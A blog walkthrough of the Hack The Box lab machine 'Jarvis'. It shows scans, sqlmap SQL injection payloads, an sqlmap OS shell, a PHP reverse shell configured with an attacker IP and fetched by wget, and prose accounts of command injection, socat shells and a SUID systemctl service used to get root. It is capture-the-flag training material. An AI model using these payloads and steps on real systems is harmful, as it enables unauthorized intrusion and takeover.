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HTB Jarvis Walkthrough

HTB Jarvis Walkthrough (Nanobyte)

Nov 9, 2019 | nanobyte

Jarvis was a Medium rated box on Hack The Box. This machine was another great box that I thoroughly enjoyed, and the first one I got to use SQLMap’s os-shell. I also was able to learn how to create my first malicious SUID systemctl service! Now, onto the goods.

As normal, to start enumeration I began with a nmap scan. I did a full service version scan (-sV), a full nap script scan (-sC), a full port scan of the entire port range of ports 1 through 65535 (-p-) and saved the nmap output to all formats (-oA):

12345678910111213141516171819202122232425nmap -sV -sC -p- -oA jarvis.htb 10.10.10.143Starting Nmap 7.70 ( https://nmap.org ) at 2019-10-15 18:42 CDTNmap scan report for 10.10.10.143Host is up (0.039s latency).Not shown: 65532 closed portsPORT      STATE SERVICE VERSION22/tcp    open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)| ssh-hostkey:|   2048 03:f3:4e:22:36:3e:3b:81:30:79:ed:49:67:65:16:67 (RSA)|   256 25:d8:08:a8:4d:6d:e8:d2:f8:43:4a:2c:20:c8:5a:f6 (ECDSA)|_  256 77:d4:ae:1f:b0:be:15:1f:f8:cd:c8:15:3a:c3:69:e1 (ED25519)80/tcp    open  http    Apache httpd 2.4.25 ((Debian))| http-cookie-flags:|   /:|     PHPSESSID:|_      httponly flag not set|_http-server-header: Apache/2.4.25 (Debian)|_http-title: Stark Hotel64999/tcp open  http    Apache httpd 2.4.25 ((Debian))|_http-server-header: Apache/2.4.25 (Debian)|_http-title: Site doesn't have a title (text/html).Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ .                                                                                      Nmap done: 1 IP address (1 host up) scanned in 56.05 seconds

Alongside running nmap, I also ran robuster for directory and file discovery. I used the small directory wordlist provided by dirbuster in Kali Linux. I also utilized the -x option. In gobuster, this searches for file extensions provided in the command. By default, I usually start with php, html, and him extensions:

1234567891011121314151617181920212223242526272829gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u http://10.10.10.143 -x php,html,htm===============================================================Gobuster v3.0.1by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)===============================================================[+] Url:            http://10.10.10.143[+] Threads:        10[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt[+] Status codes:   200,204,301,302,307,401,403[+] User Agent:     gobuster/3.0.1[+] Extensions:     php,html,htm,txt[+] Timeout:        10s===============================================================2019/10/15 18:54:26 Starting gobuster===============================================================/index.php (Status: 200)/images (Status: 301)/nav.php (Status: 200)/footer.php (Status: 200)/css (Status: 301)/js (Status: 301)/fonts (Status: 301)/phpmyadmin (Status: 301)/room.php (Status: 302)/connection.php (Status: 200)/sass (Status: 301)===============================================================2019/10/15 19:22:44 Finished===============================================================

While these were running, I also began manually enumerating and investigating the website for Jarvis. This (as you should be able to tell) is a themed hotel for Stark Industries from Marvel’s Iron Man. While looking over the website, I noticed something interesting with the URL when I was navigating the available hotel rooms. To be specific, I noticed this:

1http://supersecurehotel.htb/room.php?cod=1

The URL utilizes a database to provide the room pages! With this information, I threw the first tool that comes to mind. SQLMap. For my first SQLMap command, I used the –dbs option to enumerate and locate any available databases:

1234567891011121314151617181920212223242526272829303132333435363738394041424344sqlmap -u http://supersecurehotel.htb/room.php?cod=1 --dbs        ___       __H__ ___ ___["]_____ ___ ___  {1.3#stable}|_ -| . [.]     | .'| . ||___|_  [.]_|_|_|__,|  _|      |_|V          |_|   http://sqlmap.org[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting @ 20:42:22 /2019-10-15/[20:42:23] [INFO] resuming back-end DBMS 'mysql'[20:42:23] [INFO] testing connection to the target URLsqlmap resumed the following injection point(s) from stored session:---Parameter: cod (GET)    Type: boolean-based blind    Title: AND boolean-based blind - WHERE or HAVING clause    Payload: cod=1 AND 1133=1133    Type: AND/OR time-based blind    Title: MySQL >= 5.0.12 OR time-based blind    Payload: cod=1 OR SLEEP(5)    Type: UNION query    Title: Generic UNION query (NULL) - 7 columns    Payload: cod=-5818 UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x71627a6b71,0x46674577596d525958626f4b6f426545445a6b485a4655705855484b476c454a47705171796f4456,0x7170787171),NULL,NULL-- KnHI---[20:42:24] [INFO] the back-end DBMS is MySQLweb server operating system: Linux Debian 9.0 (stretch)web application technology: Apache 2.4.25back-end DBMS: MySQL >= 5.0.12[20:42:24] [INFO] fetching database names[20:42:24] [INFO] used SQL query returns 4 entries[20:42:24] [INFO] retrieved: 'hotel'[20:42:25] [INFO] retrieved: 'information_schema'[20:42:25] [INFO] retrieved: 'mysql'[20:42:25] [INFO] retrieved: 'performance_schema'available databases [4]:                                                                                                                                                            [*] hotel[*] information_schema[*] mysql[*] performance_schema

From here, I dove deep into enumerating the databases, tables and columns. I was able to find some credentials, but that led nowhere. For the sake of this writeup, I will spare those details. But SQLMap also has the ability to not only find this information. SQLMap also provides tools such as shells, and one of those shells is an interactive system shell (–os-shell):

123sqlmap -u http://supersecurehotel.htb/room.php?cod=1 --os-shellUse Default <PHP>Use Default Dir

And that returned a shell. Enumerating this shell, there is wget. Wget allows me to download a file from an external web server. So, I headed over to pentest monkey and downloaded a php-reverse-shell (http://pentestmonkey.net/tools/web-shells/php-reverse-shell). I downloaded this shell, modified my IP and port in the file, and saved it into a directory in my Kali. Below are the lines I modified, that are just under the comments, where the //CHANGE THIS comments are:

12345678910set_time_limit (0);$VERSION = "1.0";$ip = '10.10.14.29';  // CHANGE THIS$port = 1337;       // CHANGE THIS$chunk_size = 1400;$write_a = null;$error_a = null;$shell = 'uname -a; w; id; /bin/sh -i';$daemon = 0;$debug = 0;

Once I had the reverse shell configured, I used a python simple web server to host this reverse shell:

1python -m SimpleHTTPServer 80

Then, over on Jarvis’ interactive shell I had, used wget to download my hosted reverse shell. The -O option tells wget to output the file once downloaded.

1wget http://<MY-KALI-IP>/php-reverse-shell.php -O php-reverse-shell.php

Then, on my Kali, setup a nc listener that the php-reverse-shell connects to. With nc, I used the listener option (-l), the verbose option (-v), and the port option (-p) to designate a port to listen on:

And with that, I had a reverse shell connected back to my Kali box from Jarvis. From here, I used wget to download and run (the first thing I always run on a Linux machine) linenum.sh for Linux enumeration. If you have never used it, it can be found on GitHub (https://github.com/rebootuser/LinEnum). After linen ran, and checking the results, I found that as the user I was logged in as (pepper) I had access to sudo. I completed this with the -l option. From sudo man page, this option “If no command is specified, the -l (list) option will list the allowed (and forbidden) commands for the invoking user”:

I headed over, and looked at the python script I had access to run with sudo rights. Looking through the code, there is a function declaration that calls ping to run.

This function also eliminates the use of some characters which are common in command injection. I started playing around with the script, running it constantly looking or ways to get command injection. I found a character which was not listed in the forbidden that can be used to escape, $. Essentially, I used this escape to run commands from the simpler.py script:

And with that, I owned user! But, this would be a very inefficient shell to proceed. While I was enumerating, I found that there was socat installed. Socat would be awesome to get fully functional TTY shell. I setup a socat listener on my Kali:

And re-ran simpler.py, calling a socat connection to my listener:

And I now have a second shell running from Jarvis to my Kali. To get a fully functional socat shell, I also had to run the following:

Now I had a fully functional socat shell. Since I was now a new user, I re-ran my linenum.sh script. During this enumeration, I found that there was a binary running with SUID set:

Can you spot it in this list? It is systemctl. Normally, an unprivileged user should not have access to run this binary. This took quite a bit of time, and effort, on my end to learn this. I could manage system processes, but I could not write to the standard directory where they need to be in to start. To get around this, I learned about the /dev/shm/ directory. I wrote a small and simple process to this directory:

And once it was made, I had to then enable the process. The next two commands enable the process, give it executable permissions:

And now, for my third reverse shell! On my Kali I setup ANOTHER listener (I began to run out of 1337 speak numbers):

And on Jarvis, used systemctl to run my new process:

And with that, back on the final reverse shell, we are now root:

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